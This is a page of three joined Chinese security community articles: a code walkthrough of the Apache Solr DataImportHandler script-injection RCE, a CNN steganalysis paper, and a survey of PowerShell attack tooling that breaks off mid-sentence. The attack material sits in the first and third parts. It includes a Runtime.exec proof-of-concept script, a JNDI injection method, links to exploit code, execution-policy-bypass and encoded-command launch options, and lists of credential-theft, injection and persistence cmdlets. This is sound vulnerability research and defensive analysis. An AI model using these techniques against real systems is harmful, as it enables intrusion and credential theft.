简单介绍下EntityProcessorWrapper类。
EntityProcessorWrapper类
org.apache.solr.handler.dataimport.EntityProcessorWrapper
EntityProcessorWrapper是一个比较关键的类，继承自EntityProcessor，在整个解析过程中起到重要的作用。
EntityProcessorWrapper类的更多信息参考
<https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html>
EntityProcessorWrapper类 包含的方法，如下图，重点的是：
loadTransformers()方法 - 作用：加载转换器
> EntityProcessorWrapper类 包含的方法
>
>
在解析完config数据后，solr会把最后“更新时间“记录到配置文件中，这个时间是为了下次进行增量更新的时候用的。
接着通过this.dataImporter.getStatus()判断当前数据导入是“增量导入”即doDelta()方法，还是“全部导入”即doFullDump()方法。
本次调试中的操作是全部导入”，因此调用doFullDump()方法
> execute方法中的doFullDump()方法
>
>
跟进DocBuilder类中的doFullDump方法体：
private void doFullDump() {
this.addStatusMessage("Full Dump Started");
this.buildDocument(this.getVariableResolver(), (DocBuilder.DocWrapper)null, (Map)null, this.currentEntityProcessorWrapper, true, (ContextImpl)null);
}
可见，在doFullDump()方法体中，调用的是DocBuilder类中的buildDocument()方法。
作用是为发送的配置数据的每一个Processor做解析(调用`getVariableResolver()`方法)，当发送的entity中含有Transformers时，会进行相应的转换操作。
例如 DateFormatTransformer 转换成日期格式
例如 RegexTransformer 根据正则表达式转换
例如 ScriptTransformer 根据用户自定义的脚本进行数据转换(漏洞关键：脚本内容完全用户可控！！)
等等
具体如何执行JavaScript脚本？继续跟进，DocBuilder类中的buildDocument()方法。
private void buildDocument(VariableResolver vr, DocBuilder.DocWrapper doc, Map<String, Object> pk, EntityProcessorWrapper epw, boolean isRoot, ContextImpl parentCtx, List<EntityProcessorWrapper> entitiesToDestroy) {
ContextImpl ctx = new ContextImpl(epw, vr, (DataSource)null, pk == null ? "FULL_DUMP" : "DELTA_DUMP", this.session, parentCtx, this);
epw.init(ctx);
if (!epw.isInitialized()) {
entitiesToDestroy.add(epw);
epw.setInitialized(true);
}
if (this.reqParams.getStart() > 0) {
this.getDebugLogger().log(DIHLogLevels.DISABLE_LOGGING, (String)null, (Object)null);
}
if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.START_ENTITY, epw.getEntity().getName(), (Object)null);
}
int seenDocCount = 0;
try {
while(!this.stop.get()) {
if (this.importStatistics.docCount.get() > (long)this.reqParams.getStart() + this.reqParams.getRows()) {
return;
}
try {
++seenDocCount;
if (seenDocCount > this.reqParams.getStart()) {
this.getDebugLogger().log(DIHLogLevels.ENABLE_LOGGING, (String)null, (Object)null);
}
if (this.verboseDebug && epw.getEntity().isDocRoot()) {
this.getDebugLogger().log(DIHLogLevels.START_DOC, epw.getEntity().getName(), (Object)null);
}
if (doc == null && epw.getEntity().isDocRoot()) {
doc = new DocBuilder.DocWrapper();
ctx.setDoc(doc);
for(Entity e = epw.getEntity(); e.getParentEntity() != null; e = e.getParentEntity()) {
this.addFields(e.getParentEntity(), doc, (Map)vr.resolve(e.getParentEntity().getName()), vr);
}
}
Map<String, Object> arow = epw.nextRow();
if (arow == null) {
return;
}
if (epw.getEntity().isDocRoot()) {
if (seenDocCount <= this.reqParams.getStart()) {
continue;
}
if ((long)seenDocCount > (long)this.reqParams.getStart() + this.reqParams.getRows()) {
log.info("Indexing stopped at docCount = " + this.importStatistics.docCount);
return;
}
}
if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.ENTITY_OUT, epw.getEntity().getName(), arow);
}
this.importStatistics.rowsCount.incrementAndGet();
DocBuilder.DocWrapper childDoc = null;
if (doc != null) {
if (epw.getEntity().isChild()) {
childDoc = new DocBuilder.DocWrapper();
this.handleSpecialCommands(arow, childDoc);
this.addFields(epw.getEntity(), childDoc, arow, vr);
doc.addChildDocument(childDoc);
} else {
this.handleSpecialCommands(arow, doc);
vr.addNamespace(epw.getEntity().getName(), arow);
this.addFields(epw.getEntity(), doc, arow, vr);
vr.removeNamespace(epw.getEntity().getName());
}
}
if (epw.getEntity().getChildren() != null) {
vr.addNamespace(epw.getEntity().getName(), arow);
Iterator var12 = epw.getChildren().iterator();
while(var12.hasNext()) {
EntityProcessorWrapper child = (EntityProcessorWrapper)var12.next();
if (childDoc != null) {
this.buildDocument(vr, childDoc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);
} else {
this.buildDocument(vr, doc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);
}
}
vr.removeNamespace(epw.getEntity().getName());
}
if (epw.getEntity().isDocRoot()) {
if (this.stop.get()) {
return;
}
if (!doc.isEmpty()) {
boolean result = this.writer.upload(doc);
if (this.reqParams.isDebug()) {
this.reqParams.getDebugInfo().debugDocuments.add(doc);
}
doc = null;
if (result) {
this.importStatistics.docCount.incrementAndGet();
} else {
this.importStatistics.failedDocCount.incrementAndGet();
}
}
}
} catch (DataImportHandlerException var24) {
if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var24);
}
if (var24.getErrCode() != 301) {
if (!isRoot) {
throw var24;
}
if (var24.getErrCode() == 300) {
this.importStatistics.skipDocCount.getAndIncrement();
doc = null;
} else {
SolrException.log(log, "Exception while processing: " + epw.getEntity().getName() + " document : " + doc, var24);
}
if (var24.getErrCode() == 500) {
throw var24;
}
}
} catch (Exception var25) {
if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var25);
}
throw new DataImportHandlerException(500, var25);
} finally {
if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.ROW_END, epw.getEntity().getName(), (Object)null);
if (epw.getEntity().isDocRoot()) {
this.getDebugLogger().log(DIHLogLevels.END_DOC, (String)null, (Object)null);
}
}
}
}
} finally {
if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.END_ENTITY, (String)null, (Object)null);
}
}
}
可见方法体中，有一行语句是`Map<String, Object> arow =
epw.nextRow();`，功能是“读取EntityProcessorWrapper的每一个元素“，该方法返回的是一个Map对象。
对该语句下断点，进入EntityProcessorWrapper类中的nextRow方法：
> EntityProcessorWrapper类中的nextRow方法的方法体
>
>
可见，EntityProcessorWrapper类中的nextRow方法体中，调用了EntityProcessorWrapper类中的applyTransformer()方法。
继续跟进，EntityProcessorWrapper类中的applyTransformer()方法体：
功能
第1步.调用`loadTransformers`方法，作用是“加载转换器“
第2步.调用对应的Transformer的transformRow方法
> applyTransformer()方法体
>
>
applyTransformer()方法体，代码如下
protected Map<String, Object> applyTransformer(Map<String, Object> row) {
if (row == null) {
return null;
} else {
if (this.transformers == null) {
this.loadTransformers();
}
if (this.transformers == Collections.EMPTY_LIST) {
return row;
} else {
Map<String, Object> transformedRow = row;
List<Map<String, Object>> rows = null;
boolean stopTransform = this.checkStopTransform(row);
VariableResolver resolver = this.context.getVariableResolver();
Iterator var6 = this.transformers.iterator();
while(var6.hasNext()) {
Transformer t = (Transformer)var6.next();
if (stopTransform) {
break;
}
try {
if (rows == null) {
resolver.addNamespace(this.entityName, transformedRow);
Object o = t.transformRow(transformedRow, this.context);
if (o == null) {
return null;
}
if (o instanceof Map) {
Map oMap = (Map)o;
stopTransform = this.checkStopTransform(oMap);
transformedRow = (Map)o;
} else if (o instanceof List) {
rows = (List)o;
} else {
log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");
}
} else {
List<Map<String, Object>> tmpRows = new ArrayList();
Iterator var9 = ((List)rows).iterator();
while(var9.hasNext()) {
Map<String, Object> map = (Map)var9.next();
resolver.addNamespace(this.entityName, map);
Object o = t.transformRow(map, this.context);
if (o != null) {
if (o instanceof Map) {
Map oMap = (Map)o;
stopTransform = this.checkStopTransform(oMap);
tmpRows.add((Map)o);
} else if (o instanceof List) {
tmpRows.addAll((List)o);
} else {
log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");
}
}
}
rows = tmpRows;
}
} catch (Exception var13) {
log.warn("transformer threw error", var13);
if ("abort".equals(this.onError)) {
DataImportHandlerException.wrapAndThrow(500, var13);
} else if ("skip".equals(this.onError)) {
DataImportHandlerException.wrapAndThrow(300, var13);
}
}
}
if (rows == null) {
return transformedRow;
} else {
this.rowcache = (List)rows;
return this.getFromRowCache();
}
}
}
}
第1步.
调用loadTransformers()方法。
查看loadTransformers()方法体，可见它的作用是“加载转换器“：
即如果`trans`以`script:`开头，则new一个`ScriptTransformer`对象。
> loadTransformers()方法的方法体
>
>
loadTransformers()方法体，代码如下
void loadTransformers() {
String transClasses = this.context.getEntityAttribute("transformer");
if (transClasses == null) {
this.transformers = Collections.EMPTY_LIST;
} else {
String[] transArr = transClasses.split(",");
this.transformers = new ArrayList<Transformer>() {
public boolean add(Transformer transformer) {
if (EntityProcessorWrapper.this.docBuilder != null && EntityProcessorWrapper.this.docBuilder.verboseDebug) {
transformer = EntityProcessorWrapper.this.docBuilder.getDebugLogger().wrapTransformer(transformer);
}
return super.add(transformer);
}
};
String[] var3 = transArr;
int var4 = transArr.length;
for(int var5 = 0; var5 < var4; ++var5) {
String aTransArr = var3[var5];
String trans = aTransArr.trim();
if (trans.startsWith("script:")) {
this.checkIfTrusted(trans);
String functionName = trans.substring("script:".length());
ScriptTransformer scriptTransformer = new ScriptTransformer();
scriptTransformer.setFunctionName(functionName);
this.transformers.add(scriptTransformer);
} else {
try {
Class clazz = DocBuilder.loadClass(trans, this.context.getSolrCore());
if (Transformer.class.isAssignableFrom(clazz)) {
this.transformers.add((Transformer)clazz.newInstance());
} else {
Method meth = clazz.getMethod("transformRow", Map.class);
this.transformers.add(new EntityProcessorWrapper.ReflectionTransformer(meth, clazz, trans));
}
} catch (NoSuchMethodException var10) {
String msg = "Transformer :" + trans + "does not implement Transformer interface or does not have a transformRow(Map<String.Object> m)method";
log.error(msg);
DataImportHandlerException.wrapAndThrow(500, var10, msg);
} catch (Exception var11) {
log.error("Unable to load Transformer: " + aTransArr, var11);
DataImportHandlerException.wrapAndThrow(500, var11, "Unable to load Transformer: " + trans);
}
}
}
}
}
第2步.调用对应的Transformer的transformRow方法
transformRow方法体的执行步骤：
第(1)步.初始化脚本引擎
第(2)步.使用`invoke`执行脚本
> transformRow方法的方法体
>
>
transformRow方法体，代码如下
public Object transformRow(Map<String, Object> row, Context context) {
try {
if (this.engine == null) {
this.initEngine(context);
}
return this.engine == null ? row : this.engine.invokeFunction(this.functionName, row, context);
} catch (DataImportHandlerException var4) {
throw var4;
} catch (Exception var5) {
DataImportHandlerException.wrapAndThrow(500, var5, "Error invoking script for entity " + context.getEntityAttribute("name"));
return null;
}
}
第(1)步:
transformRow方法体中的语句`this.initEngine(context);`调用了`initEngine`方法(该方法只做初始化，并未执行JavaScript脚本)
调试过程中，可查看到`initEngine`方法中的名为`scriptText`的String类型的变量，值为：
function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
}
第(2)步:
调用Nashorn脚本引擎的`invokeFunction`方法，在Java环境中执行JavaScript脚本：
transformRow方法体中的语句`this.engine.invokeFunction(this.functionName, row,
context);`
附：Nashorn脚本引擎的`invokeFunction`方法定义：
public Object invokeFunction(String name, Object... args) throws ScriptException, NoSuchMethodException {
return this.invokeImpl((Object)null, name, args);
}
后来发现Solr中的Nashorn脚本引擎的`invokeFunction`方法（这个能执行JavaScript代码的“值得关注”的方法），其实只在`ScriptTransformer`类中被调用。
### 漏洞检测
**第1种检测方式**
Exploit1使用数据源的类型为`URLDataSource`
优点：结果回显 支持对Solr低版本的检测
缺点：需要出网
具体参考
<https://github.com/1135/solr_exploit#%E6%A3%80%E6%B5%8B%E6%BC%8F%E6%B4%9E---exploit1>
* * *
**第2种检测方式**
Exploit2使用的数据源类型为 `ContentStreamDataSource`
优点:结果回显 无需出网
缺点:对低版本无法检测 - 因为通过POST请求修改`configoverlay.json`文件中的配置会失败
具体参考
<https://github.com/1135/solr_exploit#%E6%A3%80%E6%B5%8B%E6%BC%8F%E6%B4%9E---exploit2>
* * *
**第3种检测方式**
缺点：需要出网 且 JNDI注入的payload受目标主机JDK版本影响（不够通用）
这种利用方式，使用数据源的类型为 "JdbcDataSource" ，并且driver 为"com.sun.rowset.JdbcRowSetImpl"
PoC中的DataConfig中，指定了Jdbc数据源(JdbcDataSource)的这些属性：
driver属性 (必填) - The jdbc driver classname
url属性 (必填) - The jdbc connection url (如果用到了jndiName属性则不必填url属性)
jndiName属性 可选项 - 预配置数据源的JNDI名称(JNDI name of the preconfigured datasource)
其中jndiName属性属性的值，指定了payload的位置，待执行代码在`rmi:`地址中。
(发送HTTP请求前还需进行URL编码)
通过这种方式，我们使用基于`com.sun.rowset.JdbcRowSetImpl`类的已知gadget chain即可触发反序列化攻击。
需要为'jndiName'属性和'autoCommit'属性调用两个setter，并引导我们进行易受攻击的'InitialContext.lookup'操作，因此我们可以将它作为普通的“JNDI解析攻击“(JNDI
resolution attack)来利用。
JNDI攻击可参阅文章"Exploiting JNDI Injections"
<https://www.veracode.com/blog/research/exploiting-jndi-injections-java>
Solr基于Jetty，因此Tomcat技巧在这里不适用，但你可以依赖于远程类加载(remote classloading)，它最近为LDAP已经做了修复。
### 总结
Apache Solr的DataImportHandler模块，因为支持使用web请求来指定配置信息"DIH配置"
，攻击者可构造HTTP请求指定dataConfig参数的值(dataConfig内容)，dataConfig内容完全可控(多种利用方式)，后端处理的过程中，可导致命令执行。
使用前两种检测办法，可以更准确地检测该漏洞。 | 社区文章 |
# 变换域隐写术检测分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
犯罪分子经常使用隐写术将秘密指令隐藏至图片中做非法操作，以躲避专业人员的检测，因此需要隐写术检测分析来阻止这种恶意行为。本文提出了一个变换域的隐写分析模型，以检测图像中是否使用变换域隐写算法隐写秘密指令，它具备良好的检测效果。
## 背景
隐写分析是通过对载体的统计特性进行分析，判断载体中是否隐藏有额外的信息的技术。目前的隐写分析研究领域通常将隐写分析看成一个二分类问题，目标是区分正常载体和含密载体。在这种情况下，现有的方法主要通过以下两个步骤来构建隐写分析检测器：特征提取和分类。
在特征提取步骤中，一系列手工设计的特征会从图片中被提取出来，以捕获嵌入操作的影响。隐写分析效果的好坏很大程度上依赖于特征设计。然而，由于缺乏精确的自然图像模型，这个工作变得十分复杂。目前最可靠的特征设计方式是首先计算噪声残差，然后利用相邻元素的条件或联合概率分布对残差进行建模。随着隐写术越来越复杂，隐写分析领域特征设计过程中需要考虑的图像统计特性也更复杂，这进一步加剧的手工设计特征的难度。实际上，特征也逐渐朝着复杂化、高维化发展。例如代表性的隐写分析方法SRM
(Spatial Rich Model),PSRM (Projection Spection Rich Model)等特征维度均超过了10,000
维。在分类步骤中，SVM或集成分类器等分类器会学习提取出来的特征并用于分类。特征提取和分类步骤是分离的，它们不能进行统一的优化，这意味着分类器可能无法充分利用特征提取中的有用信息。
为了解决以上问题，学者们将深度学习的理论引入隐写分析中。根据隐写信息提取的域，图像隐写分析可以被分为两大类：空域隐写分析和变换域隐写分析。针对于空域隐写分析的研究成果较多，而针对变换域隐写分析的研究成果较少。2016年Zeng等人第一次将CNN应用于变换域隐写分析，提出了一个含有三个CNN子网络的JPEG隐写分析模型，实验结果超过了传统的DCTR和PHARM，这是很大的进步，但网络结构复杂参数量大。
## 变换域隐写分析模型
本文提出了一个隐写分析模型，主要从预处理模块、特征提取模块和分类模型三部分介绍它。
### 预处理模块
预处理模块通常由一个高通滤波器(HPF)层组成。HPF层是一种特殊的卷积层，处于整个网络的最前端。在这一层中，通常会使用预定义的HPF进行隐写特征过滤操作。本模型的HPF来自于空域富模型(SRM)，大小为3×3，并且进行了归一化，使得滤波器中的权重绝对值分布在0、1之间。如下图所示。
使用空域富模型SRM的HPF的原因如下：首先，使用通过空域HPF获取的像素残差而不是量化的离散余弦变换（DCT）系数，更利于隐写分析。隐写算法对变换域的JPEG量化系数的修改幅度较小，因此对JPEG量化系数的统计特征影响并不显著，则使用DCT系数从变换域学习样本数据的差异没有明显优势。对空域而言，情况则完全不同。虽然量化系数只改变了1个单位，但经量化步长的放大，隐写操作对空域像素的干扰会被进一步放大，有利于隐写分析。此外，SRM已经给出邻域像素相关性模型，在空域分析有明确的模型作为指导，像素残差抑制了图像内容的干扰，通过邻域像素值相关性更好地表现了隐写特征。然而邻域像素相关性在变换域的表达没有良好的建模，对变换域的DCT系数的分析将不可避免地受到图像内容本身的影响，这进一步表明在空域对残差进行分析的合理性。第二，合理大小的滤波核更有利于隐写分析。研究指出，对于复杂图像来说，邻域像素相关性会随着边界与中心的距离的增大而剧烈下降。因此，本模型选用3×3大小的滤波器。
### 特征提取模块
图片经过预处理模块后，提取出的隐写特征残差会被输入到由数个卷积层组成的特征提取模块中。
特征提取模块通常由多个卷积层组成。卷积层的输入和输出是一组称为特征图的数组，而每个卷积层通过三个步骤生成特征图，分别是卷积、非线性激活和池化。在实践中，第一步先使用k个卷积核进行过滤，从而生成k个新的特征图。使用F^{n}(X)表示第n层输出的特征图，W^{n}表示第n层的卷积核，B^{n}表示偏置，则卷积层可以表示为：
其中F^{0}(X) =
X代表输入数据，f^{n}(·)是非线性激活函数。非线性激活函数会应用于每个输入的元素之上，典型的激活函数有sigmod、TanH和ReLU等。pooling(·)代表池化操作，包括平均池化和最大值池化。通常来说非线性激活函数和池化操作在特定的层中是可选的。
对于卷积层的运算，每个输出的特征图通过卷积结合多个输入的特征图的特征。卷积层的结构涉及到局部感知和权值共享的概念。对于局部感知来说，每一个低维度的特征只会从输入的一个子集中计算得出，比如一个图像中给定位置的像素的区域。这种局部特征提取器在应用于不同的相邻输入位置时共享相同的权重参数，这相当于图像像素值与包含权重参数的内核的卷积。权值共享产生了一个移位不变性的运算，同时也减少了自由变量的个数，从而增加了网络的泛化能力。特征提取模块的结构如下图所示。
本模型的特征提取模块一共包括5层，每一层均包含16个大小为3×3或者5×5的卷积核。相比于已提出的方案，卷积层的个数大大地减少了。特征提取模块的第一层卷积层使用高斯非线性激活函数（Gaussian），后几层使用ReLU作为非线性激活函数。已知在CNN较深的层次使用ReLU作为激活函数更有利于特征的表达。在每个卷积层的最后使用了平均池化操作。池化操作的目的是将低层次的特征标识转换成更有用的特征标识，从而保存重要的信息，并丢弃无关的细节。一般来说，更深层次的特征表示需要来自逐步扩大的输入区域的信息。池化的作用是将信息合并到一组小的局部区域中，同时减少计算开销，这与量化、截断汇聚有用特征，抛弃无用信息的目的相似。
### 分类模块
特征提取模块提取的特征被输入到分类模块进行分类，分类模块最终会输出一个标签标明图片的所属类别。分类模块中通常含有几个全连接层以及一个分类器。
全连接层通常会包含较多的可训练参数，当训练集不够大时容易导致过度拟合。解决办法是使用dropout对全连接层进行正则化。当使用了dropout进行训练时，对应图层中的部分神经元输出以一定概率被置为0，这在一定程度上可以提高CNN的泛化能力。
本模型的分类模块的结构如下图所示。
其中，两个全连接层均包含128维的特征向量，加入的Dropout的参数为0.5。
## 模型实现与分析
### 网络的实现
在预处理层中，卷积核使用归一化的3×3高通滤波器进行了初始化，使用Keras框架，实现如下。
特征提取模块和分类模块的实现代码如下。
### 数据集+参数
本文使用的数据集是标准化数据集BOSSBase 1.01，BOSSBase
1.01包含了10000张512×512大小的载体图片。由于计算资源的限制，在实验中使用MATLAB的imresize()函数将BOSSBase
1.01的图片缩放为256×256的大小，使用3种变换域的隐写术来评估模型的隐写分析效果，它们分别是：nsf5、MB1以及J-UNIWARD。
在实验中，使用隐写术和载体生成对应的10000张载密图片，这10000张载体图片和10000张载密图片共同组成一次实验的数据（10000对载体-载密图片）。训练集、验证集、测试集使用8:1:1的比率，即训练集为8000对载体-载密图片，验证集为1000对载体-载密图片，测试集为1000对载体-载密图片。
设置学习率为0.001，使用mini-batch随机梯度下降算法，mini-batch的大小为64。在预处理模块中，卷积核使用高通滤波器初始化，但被设置为不可训练。在特征提取模块中，所有卷积层的卷积核皆使用Xavier初始化器进行初始化，所有卷积层的池化大小为3×3，步长为2。
### 结果分析
分别对变换域隐写术nsf5、MB1以及J-UNIWARD做隐写分析，嵌入隐写信息的载荷分别为0.2、0.5，结果如下。
可见，模型对于nsf5和MB1的隐写检测效果显著，尤其对于MB1，在payload为0.2时检测的准确率为0.9492。然而对于J-UNIWARD的隐写检测效果不显著，认为这是由于没有很好地识别和定位此算法嵌入隐写信息的位置造成的。
综上，本模型的的参数规模的计算量较小，且具有良好的隐写检测效果，未来可研究分析J-UNIWARD的隐写算法机理改进隐写分析模型，使其具有更优的性能。
模型核心代码链接：
<https://github.com/HYWZ36/Steganalysis-in-frequency-domain> | 社区文章 |
**PowerShell 成为攻击工具的演变过程**
PowerShell 是一个内置在每个受支持的Windows版本中 (Windows 7 / Windows 2008 R2
和更高版本)的命令行程序，它能够提供令人难以置信的灵活性和功能化管理 Windows 系统的能力。这种能力使得 PowerShell
正在吸引攻击者使它逐渐成为一个非常流行且得力的攻击工具。一旦攻击者可以在一台计算机上运行代码，他们就会执行 PowerShell
代码，因为PS代码可以运行在防病毒软件不能看到的地方如内存中。攻击者还可能会下载 PowerShell 脚本文件 (.ps1) 到磁盘中，因为
PowerShell 能够提供从网站下载代码并在内存中运行的能力，不过这常常是不必要。
[Dave Kennedy & Josh Kelley 在 DEF CON 18（2010
年）](https://www.youtube.com/watch?v=q5pA49C7QJg) 演讲了攻击者如何利用
PowerShell进行攻击的主题。[Matt Graeber 开发了 PowerSploit 并在 Monday.com 发表了博文——
](http://www.exploit-monday.com/2012/08/Why-I-Choose-PowerShell.html)为什么
PowerShell
是一个强大的攻击平台。"[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)"在
2012 年被发布后，PowerShell 被用来作为攻击平台的趋势快速上升，直到大约一年后 Mimikatz 开始支持 PowerShell 调用
(aka [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1)) ,这使得 PowerShell 作为攻击工具的使用变得更为流行。PowerShell
提供了强大的能力，因为它可以运行从其他主机 （或互联网） 上下载的 .Net 代码并动态执行，甚至无需写到磁盘中执行，也能够在内存中执行。这些特点使得
PowerShell 在获得和保持对系统的访问权限时，
就成为了攻击者首选的攻击手段，利用PS的诸多特点攻击者可以持续攻击而不会被轻易发现。PowerShell v5 极大的提高了 PowerShell
的安全性并且在 Windows 10系统上运行 PowerShell 时，PowerShell 的攻击能力将会大大降低。
**攻击者的多种选择**
这篇文章显然会提到攻击者可以如何颠覆 PowerShell 最新的安全增强特性，包括 PowerShell
v5。请记住，攻击者还有更多选择。PowerShell 只是选择之一，exe则是另一种方式。其他的选择包括︰
自定义可执行文件 (Exe，Dll 等)
Windows 命令行工具（CMD）
远程桌面
Sysinternal 工具集
Windows 脚本宿主
VBScript
CScript
JavaScript
批处理文件
PowerShell
**PowerShell 的攻击能力**
许多的攻击者喜欢使用 PowerShell 的原因如下︰
能够在内存中运行代码，而不需要写入磁盘文件。
能够从另一个系统中下载并执行代码。
能够直接调用.Net 和 Windows API。
内置了远程操作的功能。
CMD.exe 通常会被限制运行而 PowerShell 不会。
大多数企业组织都不太关注 PowerShell 的活动情况。
很多端点安全产品不具有可视化 PowerShell 活动的功能。
PowerShell 在客户端攻击中常常被利用并且会频繁地调用下列运行选项 （通常是编码过的命令（bypasses exec. policy）。
以下是几个典型的 PowerShell 运行选项：
WindowsStyle Hidden
NoProfile
ExecutionPolicy Bypass
File
Command
EncodedCommand
**现实世界中的 PowerShell 攻击工具**
[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
描述︰ 这是众多 PowerShell 攻击工具中被广泛使用的 PowerShell 后期漏洞利用框架。 使用场景︰ 信息探测，特权提升，凭证窃取，持久化。
作者︰ Matt Graeber (@Mattifestation) & Chris Campbell (@obscuresec)
常用的cmdlets：
Invoke-DllInjection.ps1
Invoke-Shellcode.ps1
Invoke-WmiCommand.ps1
Get-GPPPassword.ps1
Get-Keystrokes.ps1
Get-TimedScreenshot.ps1
Get-VaultCredential.ps1
Invoke-CredentialInjection.ps1
Invoke-Mimikatz.ps1
Invoke-NinjaCopy.ps1
Invoke-TokenManipulation.ps1
Out-Minidump.ps1
VolumeShadowCopyTools.ps1
Invoke-ReflectivePEInjection.ps1
[Invoke-Mimikatz](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1)
功能特性︰ 能够在 PowerShell 中执行 Mimikatz，凭证偷窃 & 注入，伪造 Kerberos 票证创建，还有很多很多功能。 使用场景︰
凭证窃取 & 重用，持久化 作者︰ Joseph Bialek (@clymb3r)
[PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
描述︰ 一款纯粹的 PowerShell 域/网络态势感知工具。现在是 PowerSploit 的一部分。 使用︰ 信息探测 作者︰ Will
Harmjoy (@HarmJ0y)
常用的cmslets：
Get-NetUser
Get-NetGroup
Get-NetGroupMember
Get-NetLocalGroup
Get-NetSession
Invoke-UserHunter
Get-NetOU
Find-GPOLocation
Get-NetGPOGroup
Get-ObjectACL
Add-ObjectACL
Invoke-ACLScanner
Set-ADObject
Invoke-DowngradeAccount
Get-NetForest
Get-NetForestTrust
Get-NetForestDomain
Get-NetDomainTrust
Get-MapDomainTrust
[PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)
描述︰ 本地特权提升的一些调用方法，也是 PowerShell Empire 的一部分。 使用︰ 特权提升 作者︰ Will Harmjoy
(@harmj0y)
Get-ServiceUnquoted
Get-ServiceFilePermission
Get-ServicePermission
Invoke-ServiceAbuse
Install-ServiceBinary
Get-RegAutoLogon
Get-VulnAutoRun
Get-VulnSchTask
Get-UnattendedInstallFile
Get-WebConfig
Get-ApplicationHost
Get-RegAlwaysInstallElevated
### [Nishang](https://github.com/samratashok/nishang)
描述︰ PowerShell 渗透测试。 使用场景︰ 信息探测，凭据窃取，特权提升，持久化。 作者: Nikhil Mitt (@nikhil_mitt)
Get-Unconstrained
Add-RegBackdoor
Add-ScrnSaveBackdoor
Gupt-Backdoor
Invoke-ADSBackdoor
Enabled-DuplicateToken
Invoke-PsUaCme
Remove-Update
Check-VM
Copy-VSS
Get-Information
Get-LSASecret
Get-PassHashes
Invoke-Mimikatz
Show-TargetScreen
Port-Scan
Invoke-PoshRatHttp
Invoke-PowerShellTCP
Invoke-PowerShellWMI
Add-Exfiltration
Add-Persistence
Do-Exfiltration
Start-CaptureServer
#### [PowerShell Empire](https://github.com/PowerShellEmpire/Empire)
功能特性：
基于 PowerShell 的远程控制木马
Python 编写的服务端组件(Kali Linux)
AES 加密的 C2 通信通道
可以从凭证数据库导出和跟踪凭证信息
使用场景︰ 提供前期漏洞利用的集成模块、 信息探测、 凭据窃取 & 重用，以及持久化。 作者: Will Schroeder (@harmj0y) &
Justin Warner (@sixdub) & Matt Nelson (@enigma0x3)
模块如下:
Code Execution
Collection
Credentials
Exfiltration
Exploitation
Lateral Movement
Management
Persistence
Privilege Escalation
Recon
Situational Awareness
Fun & Trollsploit
Cmdlets:
Invoke-DllInjection
Invoke-ReflectivePEInjection
Invoke-ShellCode
Get-ChromeDump
Get-ClipboardContents
Get-FoxDump
Get-IndexedItem
Get-Keystrokes
Get-Screenshot
Invoke-Inveigh
Invoke-NetRipper
Invoke-NinjaCopy
Out-Minidump
Invoke-EgressCheck
Invoke-PostExfil
Invoke-PSInject
Invoke-RunAs
MailRaider
New-HoneyHash
Set-MacAttribute
Get-VaultCredential
Invoke-DCSync
Invoke-Mimikatz
Invoke-PowerDump
Invoke-TokenManipulation
Exploit-Jboss
Invoke-ThunderStruck
Invoke-VoiceTroll
Set-Wallpaper
Invoke-InveighRelay
Invoke-PsExec
Invoke-SSHCommand
Get-SecurityPackages
Install-SSP
Invoke-BackdoorLNK
PowerBreach
Get-GPPPassword
Get-SiteListPassword
Get-System
Invoke-BypassUAC
Invoke-Tater
Invoke-WScriptBypassUAC
PowerUp
PowerView
Get-RickAstley
Find-Fruit
HTTP-Login
Find-TrustedDocuments
Get-ComputerDetails
Get-SystemDNSServer
Invoke-Paranoia
Invoke-WinEnum
Get-SPN
Invoke-ARPScan
Invoke-PortScan
Invoke-ReverseDNSLookup
Invoke-SMBScanner
**PowerShell 攻击工具的使用**
最好的 PowerShell 攻击工具无疑是——Empire，下载 [PowerShell Empire zip
文件](https://github.com/PowerShellEmpire/Empire/releases)并解压。 解压之后，在
datamodule_source 中查看 PS1 文件。
**PowerShell 并不只是 “PowerShell.exe”**
阻止对 PowerShell.exe 的访问是限制 PowerShell 执行的一个比较"简单"的方法，至少，它看上去很简单。但现实情况是
PowerShell 并不仅仅是一个可执行文件这么简单。PowerShell 是 Windows 系统的一个核心组件 （且不可移除），它存在于
System.Management.Automation.dll 动态链接库文件 (DLL) 中并且可以附加到不同的运行空间中而且可以有效的进行
PowerShell 实例化 （想想 PowerShell.exe 和 PowerShell_ISE.exe）。可以通过代码在自定义的 PowerShell
运行空间实例化，所以 PowerShell 可以通过一个自定义的可执行文件进行启动 （例如 MyPowershell.exe) 。实际上，已经有一些无需
Powershell.exe 就能运行 PowerShell 代码的几种方法了。[Justin Warner
(@SixDub)](https://twitter.com/sixdub) 在 2014 年底发表了一篇博文 如何启动受限的Powershell.exe
，也叫做 PowerPick）。
由于 PowerShell 代码可在不运行 PowerShell.exe 的情况下执行代码，因此限制 Powershell.exe
可执行文件的运行并不是理想的解决方案，也不能很好的阻止攻击。
这里有两个辩论的对立面。
一面是"要限制 PowerShell"。这种做法会有一个积极的结果，由于攻击者在前期无法执行 PS
代码所以一些潜在的攻击就能被阻断。但是由于微软或第三方软件在一些功能上可能会依赖 PowerShell 的支持，因此这个做法有一定的副作用，因为它限制了
